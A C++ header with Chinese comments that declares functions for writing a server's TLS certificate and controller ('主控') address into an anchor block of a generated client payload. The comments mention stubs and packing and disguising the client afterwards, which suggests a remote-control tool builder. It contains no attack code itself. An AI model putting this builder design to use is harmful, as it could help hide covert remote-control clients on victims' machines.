#pragma once // // 生成客户端时,把「服务端自己的 TLS 证书」写进客户端镜像里的锚块,让分发出去的客户端 // 首次连接就是 TLS —— 见 common/tls_anchor.h 与 docs/ClientEmbeddedTLS_Design.md §4.6。 // #include #include enum class EmbedResult { Ok, // 写入成功 NoBlock, // payload 里没有锚块(老 stub,或用户自选的文件) Ambiguous, // 找到多个通过校验的锚块——宁可报错也不猜 NoAnchor, // 服务端当前没有可用的信任锚 TooLong, // 证书 PEM 或主控地址超出槽位 }; // 把服务端当前信任锚(ServerTlsIdentity::AnchorPem)原地写进 payload 的锚块。 // master —— 生成时配置的主控地址(CONNECT_ADDRESS.szServerIP 的原样字符串,含分号多地址)。 // 客户端启动后据此判断「我是不是还连在生成时那台主控」。地址对不上就跳过内嵌锚。 // pemLen —— 成功时回填写入的 PEM 字节数(用于界面显示「这批客户端钉的是哪张证书」)。 // 必须在压缩 / 加壳 / 伪装之前调用:锚块与 CONNECT_ADDRESS 走同一条字节搬运路径, // 上游写入才能被后续所有包装形态原样带下去。 EmbedResult EmbedTlsAnchorInto(BYTE* payload, DWORD size, const std::string& master, DWORD& pemLen, std::string& err); // 当前信任锚的一行摘要,例如 "builtin 2036-11-01 sha1:1a2b3c4d5e6f",用于生成结果里 // 核对「这批客户端钉的是哪张证书」(内置证书会重新生成,光看"成功"无法发现换了张)。 // 服务端当前没有可用锚、或 PEM 解析不出来时返回 false。 bool TlsAnchorSummary(std::string& out);